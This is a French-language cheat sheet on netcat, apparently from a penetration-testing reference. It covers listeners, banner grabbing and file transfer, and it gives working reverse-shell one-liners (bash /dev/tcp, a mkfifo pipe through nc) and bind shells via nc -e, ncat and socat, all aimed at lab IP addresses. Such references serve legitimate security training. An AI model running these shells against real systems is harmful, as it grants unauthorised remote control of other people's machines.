---
title: Netcat
description: "Le couteau suisse TCP/UDP : listeners, transferts de fichiers, bind et reverse shells."
category: network
kind: tool
tags: [tcp, listener, shells, file-transfer]
level: basic
updated: 2026-11-06
order: 1
aliases: ["nc", "ncat", "swiss army knife"]
---

## Listener et connexion

```bash
# Écouter sur toutes les interfaces
nc -lvnp 4444

# Se connecter à un service
nc -nv 10.10.10.10 80

# UDP
nc -luvnp 5353
```

| Option | Effet |
| --- | --- |
| `-l` | Mode écoute |
| `-v` | Verbeux |
| `-n` | Pas de résolution DNS |
| `-p` | Port local |
| `-u` | UDP |
| `-k` | Garde le listener ouvert après déconnexion |
| `-w 3` | Timeout de connexion |

## Banner grabbing

```bash
# HTTP manuel
printf 'HEAD / HTTP/1.0\r\nHost: example.com\r\n\r\n' | nc -nv 10.10.10.10 80

# SMTP / FTP / SSH
nc -nv 10.10.10.10 25
nc -nv 10.10.10.10 21
nc -nv 10.10.10.10 22
```

## Transfert de fichiers

```bash
# Receveur
nc -lvnp 9001 > received.tar.gz

# Expéditeur
nc -nv 10.10.10.20 9001 < archive.tar.gz

# Avec progression et intégrité
tar czf - dossier/ | pv | nc -nv 10.10.10.20 9001
sha256sum archive.tar.gz
```

> [!TIP]
> Sur un réseau instable, préfère `rsync`, `scp` ou un serveur HTTP éphémère (`python3 -m http.server`). Netcat ne reprend pas un transfert interrompu.

## Reverse shell

```bash
# Côté attaquant
nc -lvnp 4444

# Côté cible (exemple bash)
bash -i >& /dev/tcp/10.10.10.20/4444 0>&1

# Variante sans /dev/tcp
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.20 4444 > /tmp/f
```

## Bind shell

```bash
# Sur la cible
nc -lvnp 4444 -e /bin/bash

# Depuis l'attaquant
nc -nv 10.10.10.10 4444
```

> [!WARNING]
> De nombreux builds de `nc` n'incluent pas `-e` (OpenBSD netcat). Utilise `ncat -e`, socat, ou le pipe `mkfifo`. Un bind shell expose un port : préfère un reverse shell quand le firewall le permet.

## Alternatives modernes

```bash
# ncat avec TLS et exécution
ncat --ssl -l 4444 --sh-exec /bin/bash --keep-open

# socat : relais TCP et PTY complet
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

# Tester un port rapidement
nc -zvw2 10.10.10.10 22 80 443
```
